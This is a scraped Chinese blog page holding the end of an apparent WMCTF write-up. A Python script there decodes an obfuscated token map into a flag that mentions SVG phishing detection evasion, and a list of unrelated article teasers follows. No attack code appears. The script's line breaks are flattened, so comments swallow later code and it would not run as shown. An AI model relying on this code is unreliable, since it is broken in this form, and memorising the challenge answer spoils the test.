char_map = {'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P','4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c','4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f','77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i','4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n','4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's','4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't','4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}','77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!','4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}# 2. 加密数据(仅真实数据部分)
polymorphic_data = ['4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',  # 索引3'4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',      # 索引4'4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',      # 索引5'4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',      # 索引6'4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'       # 索引7
]conbined_data = ''.join(polymorphic_data)
# 3. 解密函数
used_keys = set()
sorted_keys = sorted(char_map.keys(), key=len, reverse=True)#将key按照长度从大到小排序,避免匹配错误
pattern = re.compile('|'.join(re.escape(key) for key in sorted_keys))
final_flag_list = []for match in pattern.finditer(conbined_data):key = match.group(0)if key not in used_keys:final_flag_list.append(char_map[key])used_keys.add(key)flag = "".join(final_flag_list)
print("Flag:", flag)
//Flag: wmctf{SVG_Phishing_Attack_Detection_Evasion}!!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/933758.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LVS入门宝典】LVS-TUN模式原理与配备:跨越网络界限的负载均衡解决方案

【LVS入门宝典】LVS-TUN模式原理与配备:跨越网络界限的负载均衡解决方案pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

Java基础-Eclipse工具-面向对象(1)

Java基础-Eclipse工具-面向对象(1)先写一个标题,随后进行更新,国庆期间休息没有更新,我会抓紧时间进行面向对象的所有更新。

Avalonia UI 投资 Wilderness Labs

Avalonia UI 投资 Wilderness Labs 主要公告 Avalonia UI 宣布投资 Wilderness Labs(Meadow 平台的开发团队),后者是一个安全的企业级 IoT 平台,将 .NET 引入微控制器领域。这一投资旨在支持 Wilderness Labs 的使…

BLE开发新体验:四种模式全解析,源码免费开放

本项目聚焦低功耗蓝牙技术,提供四种典型开发模式的完整实现,并将全部源码开源共享,方便开发者学习、调试与二次开发。 BLE(Bluetooth Low Energy):也称为Bluetooth Smart,是蓝牙4.0及更高版本引入的低功耗无线通…

JBoltAI V4 - 那年-冬季

JBoltAI 数智化开发平台 V4.0:聚焦 AI 解决方案,重构开发体验的全新升级作为经常和企业级 AI 开发平台打交道的开发者,最近一直在关注 JBoltAI 的更新动态。这次升级不是简单的功能叠加,而是从 “工具集合” 向 “…

【EI检索】2025年智能决策与机器学习国际学术会议 (ICIDML 2025)

【IEEE Conference Publishing Services (CPS)出版】 2025年智能决策与机器学习国际学术会议 (ICIDML 2025) 2025 International Conference on Intelligent Decision-making and Machine Learning 在这里看会议官网…

10月9号

今天上午进行了数据结构的学习。 学习了关于链表的学习。 下午进行了乒乓的联系。

Qwen3技术报告

原文: https://mp.weixin.qq.com/s/3RXdXT8hzlsMp_Uk_BvpfQ 全文摘要本文介绍了最新的 Qwen 模型家族——Qwen3,它是一个大型语言模型系列,旨在提高性能、效率和多语言能力。该系列包括密集架构和混合专家(MoE)架构…

赋能智慧监管:国标GB28181平台EasyGBS在明厨亮灶场景中的深度应用

“明厨亮灶”工程是保障食品安全、提振公众消费信心的关键举措。然而,传统的视频监控系统面临设备品牌杂乱、监管平台不统一、公众查看不便等挑战。本文将深入探讨如何利用国标GB28181协议与EasyGBS视频平台,构建一个…

CFD与FDM, FEM, FVM的关系?

CFD与FDM, FEM, FVM的关系?有限差分法、有限元法和有限体积法与CFD的关系可以概括为:CFD是学科领域,而这三种方法是解决CFD问题的“数学工具”或“数值离散技术”。 我们可以用一个比喻来理解:CFD(计算流体力学)…

央国企高管团队为何频繁流失?揭示薪酬结构失衡的深层原因与优化策略

在当前央国企改革与数智化转型的浪潮中,核心人才的稳定与激励已成为企业治理的重中之重——尽管多数央国企已经构建了层次分明、规范透明的薪酬体系并严格参照国资委相关政策进行总额管控,但在实际运行过程中,核心技…

在Ubuntu 22.04系统上安装libimobiledevice的步骤

更新系统包列表 打开终端并执行以下命令以更新您的Ubuntu系统包列表: sudo apt update 这将确保您能够访问最新版本的软件包。 安装依赖项 libimobiledevice依赖于一些库和工具。使用下面命令来安装这些必要组件: su…

LTV-817X-C晶体管输出光电耦合器 Liteon光宝 电子元器件深度解析 - 详解

LTV-817X-C晶体管输出光电耦合器 Liteon光宝 电子元器件深度解析 - 详解2025-10-09 17:44 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: au…

Redis sentinal模式,master挂了的 选举过程

目录🛑 Redis Sentinel 集群故障转移和选举流程1. 故障判定与仲裁 (Quorum)2. 选举领头 Sentinel(Leader Sentinel)3. 执行新的 Master 选举(Slave 选举)4. 重新配置其余节点为什么需要选举 Leader Sentinel1. 避…

破解安防整合难题:详解国标GB28181EasyGBS如何实现零插件Web直播

在数字化、信息化快速发展的今天,视频监控已经成为各行各业不可或缺的一部分。从个人用户到大型企业,再到政府部门,视频监控的需求无处不在。在众多视频监控平台中,国标GB28181网页直播平台EasyGBS凭借其独特的优势…

软件技术基础第一次

这个作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/25rjjc/这个作业的目标 1.学会写一篇随笔2.进行自我介绍3.自我评估4.表达对未来课程的期待姓名-学号 苏子建-2023329301052一、自我介绍大家好,我是浙江理…

Vue ref 企业级实用教程:carouselRef 详解

Vue ref 企业级实用教程:carouselRef 详解# Vue ref 企业级实用教程:carouselRef 详解 ## 1. ref="carouselRef" 详细说明 ### 1.1 基本概念 `ref="carouselRef"` 是 Vue 中用于获取组件实例引用…

鉴冰AI FENCE:企业级LLM应用安全防护网关2025技术解析与实战

鉴冰AI FENCE:企业级LLM应用安全防护网关2025技术解析与实战随着生成式AI技术在金融、政务、电商等核心领域的快速普及,AI违规输出内容已成为企业面临的重大安全挑战。2025年,全球每日产生2.3亿条AI生成内容,其中2…

leetCod热题100-73、买股票的最佳时期

leetCod热题100-73、买股票的最佳时期给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票,并选择在 未来的某一个不同的日子 卖出该股票。设计一个算…

有限体积法和有限差分法、有限元法的区别。

有限体积法和有限差分法、有限元法的区别。有限差分法、有限元法和有限体积法是三种最常用的数值离散方法,它们的思想、应用场景和优缺点各有不同。 下面我将用一个相对全面且易于理解的方式来解释它们的区别。 核心思…